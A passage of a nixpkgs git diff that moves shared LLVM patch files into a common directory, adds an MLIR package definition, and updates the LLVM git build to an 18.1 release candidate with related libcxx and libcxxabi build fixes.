a/pkgs/development/compilers/llvm/12/libcxxabi/default.nix b/pkgs/development/compilers/llvm/12/libcxxabi/default.nix index 78a4a68d6a16e..5ebb77ad3880f 100644 --- a/pkgs/development/compilers/llvm/12/libcxxabi/default.nix +++ b/pkgs/development/compilers/llvm/12/libcxxabi/default.nix @@ -20,7 +20,7 @@ stdenv.mkDerivation { '' + lib.optionalString stdenv.isDarwin '' export TRIPLE=x86_64-apple-darwin '' + lib.optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -d libcxx -i ${../../libcxx-0001-musl-hacks.patch} + patch -p1 -d libcxx -i ${../../common/libcxx/libcxx-0001-musl-hacks.patch} '' + lib.optionalString stdenv.hostPlatform.isWasm '' patch -p1 -d llvm -i ${../../common/libcxxabi/wasm.patch} ''; diff --git a/pkgs/development/compilers/llvm/12/llvm/default.nix b/pkgs/development/compilers/llvm/12/llvm/default.nix index 3263c4ddaf359..3ac3ee24aec4d 100644 --- a/pkgs/development/compilers/llvm/12/llvm/default.nix +++ b/pkgs/development/compilers/llvm/12/llvm/default.nix @@ -87,7 +87,7 @@ in stdenv.mkDerivation (rec { # of the flags used for the normal LLVM build. To avoid the need for building # a native libLLVM.so (which would fail) we force llvm-config to be linked # statically against the necessary LLVM components always. - ../../llvm-config-link-static.patch + ../../common/llvm/llvm-config-link-static.patch # Fix llvm being miscompiled by some gccs. See llvm/llvm-project#49955 # Fix llvm being miscompiled by some gccs. See https://github.com/llvm/llvm-project/issues/49955 ./fix-llvm-issue-49955.patch @@ -138,7 +138,7 @@ in stdenv.mkDerivation (rec { # TODO: Fix failing tests: rm test/DebugInfo/X86/vla-multi.ll '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/13/clang/default.nix b/pkgs/development/compilers/llvm/13/clang/default.nix index 7673c903e71cc..2d02ffb60b365 100644 --- a/pkgs/development/compilers/llvm/13/clang/default.nix +++ b/pkgs/development/compilers/llvm/13/clang/default.nix @@ -43,7 +43,7 @@ let ./revert-malloc-alignment-assumption.patch ../../common/clang/add-nostdlibinc-flag.patch (substituteAll { - src = ../../clang-11-15-LLVMgold-path.patch; + src = ../../common/clang/clang-11-15-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/13/libcxx/default.nix b/pkgs/development/compilers/llvm/13/libcxx/default.nix index 994ec7dd5a56e..2974fc80e191b 100644 --- a/pkgs/development/compilers/llvm/13/libcxx/default.nix +++ b/pkgs/development/compilers/llvm/13/libcxx/default.nix @@ -25,7 +25,7 @@ stdenv.mkDerivation rec { patches = [ ./gnu-install-dirs.patch ] ++ lib.optionals stdenv.hostPlatform.isMusl [ - ../../libcxx-0001-musl-hacks.patch + ../../common/libcxx/libcxx-0001-musl-hacks.patch ]; preConfigure = lib.optionalString stdenv.hostPlatform.isMusl '' diff --git a/pkgs/development/compilers/llvm/13/llvm/default.nix b/pkgs/development/compilers/llvm/13/llvm/default.nix index 1e71cdd89c6c0..faebfb6e2bfdc 100644 --- a/pkgs/development/compilers/llvm/13/llvm/default.nix +++ b/pkgs/development/compilers/llvm/13/llvm/default.nix @@ -81,7 +81,7 @@ in stdenv.mkDerivation (rec { # of the flags used for the normal LLVM build. To avoid the need for building # a native libLLVM.so (which would fail) we force llvm-config to be linked # statically against the necessary LLVM components always. - ../../llvm-config-link-static.patch + ../../common/llvm/llvm-config-link-static.patch ./gnu-install-dirs.patch @@ -128,7 +128,7 @@ in stdenv.mkDerivation (rec { rm unittests/IR/PassBuilderCallbacksTest.cpp rm test/tools/llvm-objcopy/ELF/mirror-permissions-unix.test '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/14/clang/default.nix b/pkgs/development/compilers/llvm/14/clang/default.nix index f63f55cfa5466..829edb15d6008 100644 --- a/pkgs/development/compilers/llvm/14/clang/default.nix +++ b/pkgs/development/compilers/llvm/14/clang/default.nix @@ -46,7 +46,7 @@ let ./gnu-install-dirs.patch ../../common/clang/add-nostdlibinc-flag.patch (substituteAll { - src = ../../clang-11-15-LLVMgold-path.patch; + src = ../../common/clang/clang-11-15-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/14/libcxx/default.nix b/pkgs/development/compilers/llvm/14/libcxx/default.nix index 3e42a8b1e43c7..ad9e82291cde7 100644 --- a/pkgs/development/compilers/llvm/14/libcxx/default.nix +++ b/pkgs/development/compilers/llvm/14/libcxx/default.nix @@ -41,7 +41,7 @@ stdenv.mkDerivation rec { patches = [ ./gnu-install-dirs.patch ] ++ lib.optionals stdenv.hostPlatform.isMusl [ - ../../libcxx-0001-musl-hacks.patch + ../../common/libcxx/libcxx-0001-musl-hacks.patch ]; preConfigure = lib.optionalString stdenv.hostPlatform.isMusl '' diff --git a/pkgs/development/compilers/llvm/14/llvm/default.nix b/pkgs/development/compilers/llvm/14/llvm/default.nix index eab49d326ad4b..ed7d238ddaee9 100644 --- a/pkgs/development/compilers/llvm/14/llvm/default.nix +++ b/pkgs/development/compilers/llvm/14/llvm/default.nix @@ -94,6 +94,12 @@ in stdenv.mkDerivation (rec { relative = "llvm"; hash = "sha256-XPbvNJ45SzjMGlNUgt/IgEvM2dHQpDOe6woUJY+nUYA="; }) + # fix RuntimeDyld usage on aarch64-linux (e.g. python312Packages.numba tests) + (fetchpatch { + url = "https://github.com/llvm/llvm-project/commit/2e1b838a889f9793d4bcd5dbfe10db9796b77143.patch"; + relative = "llvm"; + hash = "sha256-Ot45P/iwaR4hkcM3xtLwfryQNgHI6pv6ADjv98tgdZA="; + }) ] ++ lib.optional enablePolly ./gnu-install-dirs-polly.patch; postPatch = optionalString stdenv.isDarwin '' @@ -110,7 +116,7 @@ in stdenv.mkDerivation (rec { rm unittests/IR/PassBuilderCallbacksTest.cpp rm test/tools/llvm-objcopy/ELF/mirror-permissions-unix.test '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/15/clang/default.nix b/pkgs/development/compilers/llvm/15/clang/default.nix index 9ec15a3930040..de789edaa9ff2 100644 --- a/pkgs/development/compilers/llvm/15/clang/default.nix +++ b/pkgs/development/compilers/llvm/15/clang/default.nix @@ -52,7 +52,7 @@ let ./gnu-install-dirs.patch ../../common/clang/add-nostdlibinc-flag.patch (substituteAll { - src = ../../clang-11-15-LLVMgold-path.patch; + src = ../../common/clang/clang-11-15-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/15/libcxx/default.nix b/pkgs/development/compilers/llvm/15/libcxx/default.nix index be56770039d80..6a055581fffd5 100644 --- a/pkgs/development/compilers/llvm/15/libcxx/default.nix +++ b/pkgs/development/compilers/llvm/15/libcxx/default.nix @@ -65,7 +65,7 @@ stdenv.mkDerivation rec { relative = "libcxx"; }) ] ++ lib.optionals stdenv.hostPlatform.isMusl [ - ../../libcxx-0001-musl-hacks.patch + ../../common/libcxx/libcxx-0001-musl-hacks.patch ]; postPatch = '' diff --git a/pkgs/development/compilers/llvm/15/llvm/default.nix b/pkgs/development/compilers/llvm/15/llvm/default.nix index 4f17678ba14f7..7f1232d57a18c 100644 --- a/pkgs/development/compilers/llvm/15/llvm/default.nix +++ b/pkgs/development/compilers/llvm/15/llvm/default.nix @@ -230,7 +230,7 @@ in stdenv.mkDerivation (rec { # timing-based tests are trouble rm utils/lit/tests/googletest-timeout.py '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/16/clang/default.nix b/pkgs/development/compilers/llvm/16/clang/default.nix index 43c497b927615..c5d9af356d9ea 100644 --- a/pkgs/development/compilers/llvm/16/clang/default.nix +++ b/pkgs/development/compilers/llvm/16/clang/default.nix @@ -52,7 +52,7 @@ let ./gnu-install-dirs.patch ../../common/clang/add-nostdlibinc-flag.patch (substituteAll { - src = ../../clang-at-least-16-LLVMgold-path.patch; + src = ../../common/clang/clang-at-least-16-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/16/llvm/default.nix b/pkgs/development/compilers/llvm/16/llvm/default.nix index 73fb6a7854131..661866c1890bd 100644 --- a/pkgs/development/compilers/llvm/16/llvm/default.nix +++ b/pkgs/development/compilers/llvm/16/llvm/default.nix @@ -223,7 +223,7 @@ in # timing-based tests are trouble rm utils/lit/tests/googletest-timeout.py '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/17/clang/default.nix b/pkgs/development/compilers/llvm/17/clang/default.nix index f2f114233c283..f7922f3d99515 100644 --- a/pkgs/development/compilers/llvm/17/clang/default.nix +++ b/pkgs/development/compilers/llvm/17/clang/default.nix @@ -53,7 +53,7 @@ let ./gnu-install-dirs.patch ../../common/clang/add-nostdlibinc-flag.patch (substituteAll { - src = ../../clang-at-least-16-LLVMgold-path.patch; + src = ../../common/clang/clang-at-least-16-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/17/default.nix b/pkgs/development/compilers/llvm/17/default.nix index 95281df892e53..60cae920945b7 100644 --- a/pkgs/development/compilers/llvm/17/default.nix +++ b/pkgs/development/compilers/llvm/17/default.nix @@ -144,6 +144,10 @@ in let inherit llvm_meta; }; + mlir = callPackage ../common/mlir { + inherit llvm_meta; + }; + lldb = callPackage ../common/lldb.nix { src = callPackage ({ runCommand }: runCommand "lldb-src-${version}" {} '' mkdir -p "$out" diff --git a/pkgs/development/compilers/llvm/17/llvm/default.nix b/pkgs/development/compilers/llvm/17/llvm/default.nix index 627679ce812fc..2c5d6aeb5cec9 100644 --- a/pkgs/development/compilers/llvm/17/llvm/default.nix +++ b/pkgs/development/compilers/llvm/17/llvm/default.nix @@ -220,7 +220,7 @@ stdenv.mkDerivation (rec { rm unittests/IR/PassBuilderCallbacksTest.cpp rm test/tools/llvm-objcopy/ELF/mirror-permissions-unix.test '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/9/clang/default.nix b/pkgs/development/compilers/llvm/9/clang/default.nix index e8a2a4bd0db19..37138b13bd4c8 100644 --- a/pkgs/development/compilers/llvm/9/clang/default.nix +++ b/pkgs/development/compilers/llvm/9/clang/default.nix @@ -52,7 +52,7 @@ let ./HIP-use-PATH-9.patch ./gnu-install-dirs.patch (substituteAll { - src = ../../clang-6-10-LLVMgold-path.patch; + src = ../../common/clang/clang-6-10-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/9/libcxx/default.nix b/pkgs/development/compilers/llvm/9/libcxx/default.nix index ec09998ed37d0..65f0e19225a5e 100644 --- a/pkgs/development/compilers/llvm/9/libcxx/default.nix +++ b/pkgs/development/compilers/llvm/9/libcxx/default.nix @@ -22,7 +22,7 @@ stdenv.mkDerivation { patches = [ ./gnu-install-dirs.patch ] ++ lib.optionals stdenv.hostPlatform.isMusl [ - ../../libcxx-0001-musl-hacks.patch + ../../common/libcxx/libcxx-0001-musl-hacks.patch ]; # Prevent errors like "error: 'foo' is unavailable: introduced in macOS yy.zz" diff --git a/pkgs/development/compilers/llvm/9/libcxxabi/default.nix b/pkgs/development/compilers/llvm/9/libcxxabi/default.nix index 24d89b1a2da5c..7d4a83db390b1 100644 --- a/pkgs/development/compilers/llvm/9/libcxxabi/default.nix +++ b/pkgs/development/compilers/llvm/9/libcxxabi/default.nix @@ -17,7 +17,7 @@ stdenv.mkDerivation { '' + lib.optionalString stdenv.isDarwin '' export TRIPLE=x86_64-apple-darwin '' + lib.optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -d $(ls -d libcxx-*) -i ${../../libcxx-0001-musl-hacks.patch} + patch -p1 -d $(ls -d libcxx-*) -i ${../../common/libcxx/libcxx-0001-musl-hacks.patch} '' + lib.optionalString stdenv.hostPlatform.isWasm '' patch -p1 -d $(ls -d llvm-*) -i ${../../common/libcxxabi/wasm.patch} ''; diff --git a/pkgs/development/compilers/llvm/9/llvm/default.nix b/pkgs/development/compilers/llvm/9/llvm/default.nix index c0ef7801c348a..7d5e8389eba9b 100644 --- a/pkgs/development/compilers/llvm/9/llvm/default.nix +++ b/pkgs/development/compilers/llvm/9/llvm/default.nix @@ -86,12 +86,12 @@ in stdenv.mkDerivation (rec { # of the flags used for the normal LLVM build. To avoid the need for building # a native libLLVM.so (which would fail) we force llvm-config to be linked # statically against the necessary LLVM components always. - ../../llvm-config-link-static.patch + ../../common/llvm/llvm-config-link-static.patch ./gnu-install-dirs.patch # Force a test to evaluate the saved benchmark for a CPU for which LLVM has # an execution model. See NixOS/nixpkgs#119673. - ../../exegesis-force-bdver2.patch + ./exegesis-force-bdver2.patch # Fix missing includes for GCC 11 (fetchpatch { @@ -137,7 +137,7 @@ in stdenv.mkDerivation (rec { --replace "Path.cpp" "" rm unittests/Support/Path.cpp '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/exegesis-force-bdver2.patch b/pkgs/development/compilers/llvm/9/llvm/exegesis-force-bdver2.patch index c2654153ed5af..c2654153ed5af 100644 --- a/pkgs/development/compilers/llvm/exegesis-force-bdver2.patch +++ b/pkgs/development/compilers/llvm/9/llvm/exegesis-force-bdver2.patch diff --git a/pkgs/development/compilers/llvm/clang-11-15-LLVMgold-path.patch b/pkgs/development/compilers/llvm/common/clang/clang-11-15-LLVMgold-path.patch index 8f8991976f33c..8f8991976f33c 100644 --- a/pkgs/development/compilers/llvm/clang-11-15-LLVMgold-path.patch +++ b/pkgs/development/compilers/llvm/common/clang/clang-11-15-LLVMgold-path.patch diff --git a/pkgs/development/compilers/llvm/clang-6-10-LLVMgold-path.patch b/pkgs/development/compilers/llvm/common/clang/clang-6-10-LLVMgold-path.patch index 93504316edf30..93504316edf30 100644 --- a/pkgs/development/compilers/llvm/clang-6-10-LLVMgold-path.patch +++ b/pkgs/development/compilers/llvm/common/clang/clang-6-10-LLVMgold-path.patch diff --git a/pkgs/development/compilers/llvm/clang-at-least-16-LLVMgold-path.patch b/pkgs/development/compilers/llvm/common/clang/clang-at-least-16-LLVMgold-path.patch index 74cdbacc8a717..74cdbacc8a717 100644 --- a/pkgs/development/compilers/llvm/clang-at-least-16-LLVMgold-path.patch +++ b/pkgs/development/compilers/llvm/common/clang/clang-at-least-16-LLVMgold-path.patch diff --git a/pkgs/development/compilers/llvm/libcxx-0001-musl-hacks.patch b/pkgs/development/compilers/llvm/common/libcxx/libcxx-0001-musl-hacks.patch index bcb5ad8cfb87d..bcb5ad8cfb87d 100644 --- a/pkgs/development/compilers/llvm/libcxx-0001-musl-hacks.patch +++ b/pkgs/development/compilers/llvm/common/libcxx/libcxx-0001-musl-hacks.patch diff --git a/pkgs/development/compilers/llvm/TLI-musl.patch b/pkgs/development/compilers/llvm/common/llvm/TLI-musl.patch index 1a69080866372..1a69080866372 100644 --- a/pkgs/development/compilers/llvm/TLI-musl.patch +++ b/pkgs/development/compilers/llvm/common/llvm/TLI-musl.patch diff --git a/pkgs/development/compilers/llvm/llvm-config-link-static.patch b/pkgs/development/compilers/llvm/common/llvm/llvm-config-link-static.patch index 3881cc5206e27..3881cc5206e27 100644 --- a/pkgs/development/compilers/llvm/llvm-config-link-static.patch +++ b/pkgs/development/compilers/llvm/common/llvm/llvm-config-link-static.patch diff --git a/pkgs/development/compilers/llvm/common/mlir/default.nix b/pkgs/development/compilers/llvm/common/mlir/default.nix new file mode 100644 index 0000000000000..7a79ac30ba864 --- /dev/null +++ b/pkgs/development/compilers/llvm/common/mlir/default.nix @@ -0,0 +1,77 @@ +{ lib, stdenv, llvm_meta +, buildLlvmTools +, monorepoSrc, runCommand +, cmake +, ninja +, libxml2 +, libllvm +, version +, doCheck ? (!stdenv.isx86_32 /* TODO: why */) && (!stdenv.hostPlatform.isMusl) +}: + +stdenv.mkDerivation rec { + pname = "mlir"; + inherit version doCheck; + + # Blank llvm dir just so relative path works + src = runCommand "${pname}-src-${version}" {} '' + mkdir -p "$out" + cp -r ${monorepoSrc}/cmake "$out" + cp -r ${monorepoSrc}/mlir "$out" + cp -r ${monorepoSrc}/third-party "$out/third-party" + + mkdir -p "$out/llvm" + ''; + + sourceRoot = "${src.name}/mlir"; + + patches = [ + ./gnu-install-dirs.patch + ]; + + nativeBuildInputs = [ + cmake + ninja + ]; + + buildInputs = [ + libllvm + libxml2 + ]; + + cmakeFlags = [ + "-DLLVM_BUILD_TOOLS=ON" + # Install headers as well + "-DLLVM_INSTALL_TOOLCHAIN_ONLY=OFF" + "-DMLIR_TOOLS_INSTALL_DIR=${placeholder "out"}/bin/" + "-DLLVM_ENABLE_IDE=OFF" + "-DLLD_INSTALL_PACKAGE_DIR=${placeholder "out"}/lib/cmake/mlir" + "-DLLVM_BUILD_TESTS=${if doCheck then "ON" else "OFF"}" + "-DLLVM_ENABLE_FFI=ON" + "-DLLVM_HOST_TRIPLE=${stdenv.hostPlatform.config}" + "-DLLVM_DEFAULT_TARGET_TRIPLE=${stdenv.hostPlatform.config}" + "-DLLVM_ENABLE_DUMP=ON" + ] ++ lib.optionals stdenv.hostPlatform.isStatic [ + # Disables building of shared libs, -fPIC is still injected by cc-wrapper + "-DLLVM_ENABLE_PIC=OFF" + "-DLLVM_BUILD_STATIC=ON" + "-DLLVM_LINK_LLVM_DYLIB=OFF" + ] ++ lib.optionals ((stdenv.hostPlatform != stdenv.buildPlatform) && !(stdenv.buildPlatform.canExecute stdenv.hostPlatform)) [ + "-DLLVM_TABLEGEN_EXE=${buildLlvmTools.llvm}/bin/llvm-tblgen" + "-DMLIR_TABLEGEN_EXE=${buildLlvmTools.mlir}/bin/mlir-tblgen" + ]; + + outputs = [ "out" "dev" ]; + + meta = llvm_meta // { + homepage = "https://mlir.llvm.org/"; + description = "Multi-Level IR Compiler Framework"; + longDescription = '' + The MLIR project is a novel approach to building reusable and extensible + compiler infrastructure. MLIR aims to address software fragmentation, + improve compilation for heterogeneous hardware, significantly reduce + the cost of building domain specific compilers, and aid in connecting + existing compilers together. + ''; + }; +} diff --git a/pkgs/development/compilers/llvm/common/mlir/gnu-install-dirs.patch b/pkgs/development/compilers/llvm/common/mlir/gnu-install-dirs.patch new file mode 100644 index 0000000000000..95191022d1a38 --- /dev/null +++ b/pkgs/development/compilers/llvm/common/mlir/gnu-install-dirs.patch @@ -0,0 +1,15 @@ +diff --git a/CMakeLists.txt b/CMakeLists.txt +index c91e9cd93dc8..23b6032a46b7 100644 +--- a/CMakeLists.txt ++++ b/CMakeLists.txt +@@ -32,8 +32,8 @@ if(MLIR_STANDALONE_BUILD) + endif() + + set(CMAKE_LIBRARY_OUTPUT_DIRECTORY +- "${CMAKE_CURRENT_BINARY_DIR}/lib${LLVM_LIBDIR_SUFFIX}") +- set(CMAKE_RUNTIME_OUTPUT_DIRECTORY "${CMAKE_CURRENT_BINARY_DIR}/bin") ++ "${CMAKE_INSTALL_LIBDIR}/${LLVM_LIBDIR_SUFFIX}") ++ set(CMAKE_RUNTIME_OUTPUT_DIRECTORY "${CMAKE_INSTALL_BINDIR}") + + set(LLVM_LIT_ARGS "-sv" CACHE STRING "Default options for lit") + endif() diff --git a/pkgs/development/compilers/llvm/git/clang/default.nix b/pkgs/development/compilers/llvm/git/clang/default.nix index eea346ef22efc..01b33c540ca28 100644 --- a/pkgs/development/compilers/llvm/git/clang/default.nix +++ b/pkgs/development/compilers/llvm/git/clang/default.nix @@ -54,7 +54,7 @@ let ./gnu-install-dirs.patch ../../common/clang/add-nostdlibinc-flag.patch (substituteAll { - src = ../../clang-at-least-16-LLVMgold-path.patch; + src = ../../common/clang/clang-at-least-16-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/git/compiler-rt/default.nix b/pkgs/development/compilers/llvm/git/compiler-rt/default.nix index 0f15a9e12cde5..7b44a872adc4a 100644 --- a/pkgs/development/compilers/llvm/git/compiler-rt/default.nix +++ b/pkgs/development/compilers/llvm/git/compiler-rt/default.nix @@ -116,7 +116,7 @@ stdenv.mkDerivation { --replace "#include <stdlib.h>" "" substituteInPlace lib/builtins/clear_cache.c \ --replace "#include <assert.h>" "" - substituteInPlace lib/builtins/cpu_model.c \ + substituteInPlace lib/builtins/cpu_model${lib.optionalString (lib.versionAtLeast version "18") "/x86"}.c \ --replace "#include <assert.h>" "" ''; diff --git a/pkgs/development/compilers/llvm/git/default.nix b/pkgs/development/compilers/llvm/git/default.nix index 7dfec234104d9..1efaa0402fc71 100644 --- a/pkgs/development/compilers/llvm/git/default.nix +++ b/pkgs/development/compilers/llvm/git/default.nix @@ -17,12 +17,7 @@ else pkgs.bintools , darwin # LLVM release information; specify one of these but not both: -, gitRelease ? { - version = "18.0.0"; - rev = "2fd7657b6609454af7adb75765d164ec7d1bb80b"; - rev-version = "18.0.0-unstable-2023-12-13"; - sha256 = "sha256-/sMQzzFid0tAnreOIV9SUm2H6QbEGhpNcizl3LDPM5s="; -} +, gitRelease ? null # i.e.: # { # version = /* i.e. "15.0.0" */; @@ -30,7 +25,7 @@ # rev-version = /* human readable version; i.e. "unstable-2022-26-07" */; # sha256 = /* checksum for this release, can omit if specifying your own `monorepoSrc` */; # } -, officialRelease ? null +, officialRelease ? { version = "18.1.0-rc3"; sha256 = "sha256-qRzY2kTLeRxXQCSuVP592Awafm5wjVeFY60d6082mSc="; } # i.e.: # { # version = /* i.e. "15.0.0" */; @@ -149,6 +144,10 @@ in let inherit llvm_meta; }; + mlir = callPackage ../common/mlir { + inherit llvm_meta; + }; + lldb = callPackage ../common/lldb.nix { src = callPackage ({ runCommand }: runCommand "lldb-src-${version}" {} '' mkdir -p "$out" diff --git a/pkgs/development/compilers/llvm/git/libcxx/0001-darwin-10.12-mbstate_t-fix.patch b/pkgs/development/compilers/llvm/git/libcxx/0001-darwin-10.12-mbstate_t-fix.patch new file mode 100644 index 0000000000000..0a2e8db07391c --- /dev/null +++ b/pkgs/development/compilers/llvm/git/libcxx/0001-darwin-10.12-mbstate_t-fix.patch @@ -0,0 +1,31 @@ +From 9c1cb26c1dd3f92d1c1177e548107d2cd3c5e616 Mon Sep 17 00:00:00 2001 +From: annalee <150648636+a-n-n-a-l-e-e@users.noreply.github.com> +Date: Fri, 23 Feb 2024 22:58:58 +0000 +Subject: [PATCH] darwin 10.12 mbstate_t fix + +https://github.com/llvm/llvm-project/issues/64226 + +removes space from +https://github.com/macports/macports-ports/raw/acd8acb171f1658596ed1cf25da48d5b932e2d19/lang/llvm-17/files/0042-mbstate_t-not-defined.patch +so it applies cleanly +--- + include/__mbstate_t.h | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/include/__mbstate_t.h b/include/__mbstate_t.h +index bfa6d61..5f51112 100644 +--- a/include/__mbstate_t.h ++++ b/include/__mbstate_t.h +@@ -42,6 +42,9 @@ + #elif __has_include(<bits/types/mbstate_t.h>) + # include <bits/types/mbstate_t.h> // works on most Unixes + #elif __has_include(<sys/_types/_mbstate_t.h>) ++# if __has_include(<machine/_types.h>) ++# include <machine/_types.h> ++# endif + # include <sys/_types/_mbstate_t.h> // works on Darwin + #elif !defined(_LIBCPP_HAS_NO_WIDE_CHARACTERS) && __has_include_next(<wchar.h>) + # include_next <wchar.h> // fall back to the C standard provider of mbstate_t +-- +2.43.0 + diff --git a/pkgs/development/compilers/llvm/git/libcxx/default.nix b/pkgs/development/compilers/llvm/git/libcxx/default.nix index 8a5272ea07af0..11f4c6fe5fd10 100644 --- a/pkgs/development/compilers/llvm/git/libcxx/default.nix +++ b/pkgs/development/compilers/llvm/git/libcxx/default.nix @@ -45,15 +45,9 @@ stdenv.mkDerivation rec { chmod -R u+w . ''; - patches = [ - # fix for https://github.com/NixOS/nixpkgs/issues/269548 - # https://github.com/llvm/llvm-project/pull/77218 - (fetchpatch { - name = "darwin-system-libcxxabi-link-flags.patch"; - url = "https://github.com/llvm/llvm-project/commit/c5b89b29ee6e3c444a355fd1cf733ce7ab2e316a.patch"; - hash = "sha256-LNoPg1KCoP8RWxU/AzHR52f4Dww24I9BGQJedMhFxyQ="; - relative = "libcxx"; - }) + patches = lib.optionals (stdenv.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinMinVersion "10.13") [ + # https://github.com/llvm/llvm-project/issues/64226 + ./0001-darwin-10.12-mbstate_t-fix.patch ]; postPatch = '' @@ -82,7 +76,9 @@ stdenv.mkDerivation rec { "-DLIBCXX_CXX_ABI=${if headersOnly then "none" else libcxx_cxx_abi_opt}" ] ++ lib.optional (!headersOnly && cxxabi.libName == "c++abi") "-DLIBCXX_CXX_ABI_INCLUDE_PATHS=${cxxabi.dev}/include/c++/v1" ++ lib.optional (stdenv.hostPlatform.isMusl || stdenv.hostPlatform.isWasi) "-DLIBCXX_HAS_MUSL_LIBC=1" - ++ lib.optionals (stdenv.hostPlatform.useLLVM or false) [ + ++ lib.optionals (lib.versionAtLeast version "18" && !(stdenv.hostPlatform.useLLVM or false) && stdenv.hostPlatform.libc == "glibc" && !stdenv.hostPlatform.isStatic) [ + "-DLIBCXX_ADDITIONAL_LIBRARIES=gcc_s" + ] ++ lib.optionals (stdenv.hostPlatform.useLLVM or false) [ "-DLIBCXX_USE_COMPILER_RT=ON" # There's precedent for this in llvm-project/libcxx/cmake/caches. # In a monorepo build you might do the following in the libcxxabi build: diff --git a/pkgs/development/compilers/llvm/git/libcxxabi/default.nix b/pkgs/development/compilers/llvm/git/libcxxabi/default.nix index 0a795da44ae41..8e19796543250 100644 --- a/pkgs/development/compilers/llvm/git/libcxxabi/default.nix +++ b/pkgs/development/compilers/llvm/git/libcxxabi/default.nix @@ -44,6 +44,20 @@ stdenv.mkDerivation rec { sha256 = "1xyjd56m4pfwq8p3xh6i8lhkk9kq15jaml7qbhxdf87z4jjkk63a"; stripLen = 1; }) + ] ++ lib.optionals (lib.versionAtLeast version "18") [ + # Allow building libcxxabi alone when using LLVM unwinder + (fetchpatch { + url = "https://github.com/llvm/llvm-project/commit/77610dd10454e87bb387040d2b51100a17ac5755.patch"; + stripLen = 1; + revert = true; + hash = "sha256-Jogx/cvTJ6fdyprTD1QzMIeRWcBlZZMWE/y9joOtVH0="; + }) + (fetchpatch { + url = "https://github.com/llvm/llvm-project/commit/48e5b5ea92674ded69b998cf35724d9012c0f57d.patch"; + stripLen = 1; + revert = true; + hash = "sha256-7VeBFjG7CnEMWn0hpBvyNOyhRfz50PnD3zyQNDhNChk="; + }) ]; postPatch = '' @@ -63,6 +77,8 @@ stdenv.mkDerivation rec { # CMake however checks for this anyways; this flag tells it not to. See: # https://github.com/llvm/llvm-project/blob/4bd3f3759259548e159aeba5c76efb9a0864e6fa/llvm/runtimes/CMakeLists.txt#L243 "-DCMAKE_CXX_COMPILER_WORKS=ON" + ] ++ lib.optionals (lib.versionAtLeast version "18" && !(stdenv.hostPlatform.useLLVM or false && !stdenv.hostPlatform.isWasm)) [ + "-DLIBCXXABI_USE_LLVM_UNWINDER=OFF" ] ++ lib.optionals (stdenv.hostPlatform.useLLVM or false && !stdenv.hostPlatform.isWasm) [ "-DLLVM_ENABLE_LIBCXX=ON" "-DLIBCXXABI_USE_LLVM_UNWINDER=ON" @@ -110,8 +126,5 @@ stdenv.mkDerivation rec { # the UIUC License (a BSD-like license)": license = with lib.licenses; [ mit ncsa ]; maintainers = llvm_meta.maintainers ++ [ lib.maintainers.vlstill ]; - # Broken until https://github.com/llvm/llvm-project/issues/64226 is resolved - # We should check if the version is not 10.13 but that is currently broken. - broken = stdenv.isDarwin && stdenv.isx86_64; }; } diff --git a/pkgs/development/compilers/llvm/git/llvm/default.nix b/pkgs/development/compilers/llvm/git/llvm/default.nix index 3c52b7a9bb0bf..b8cef22878060 100644 --- 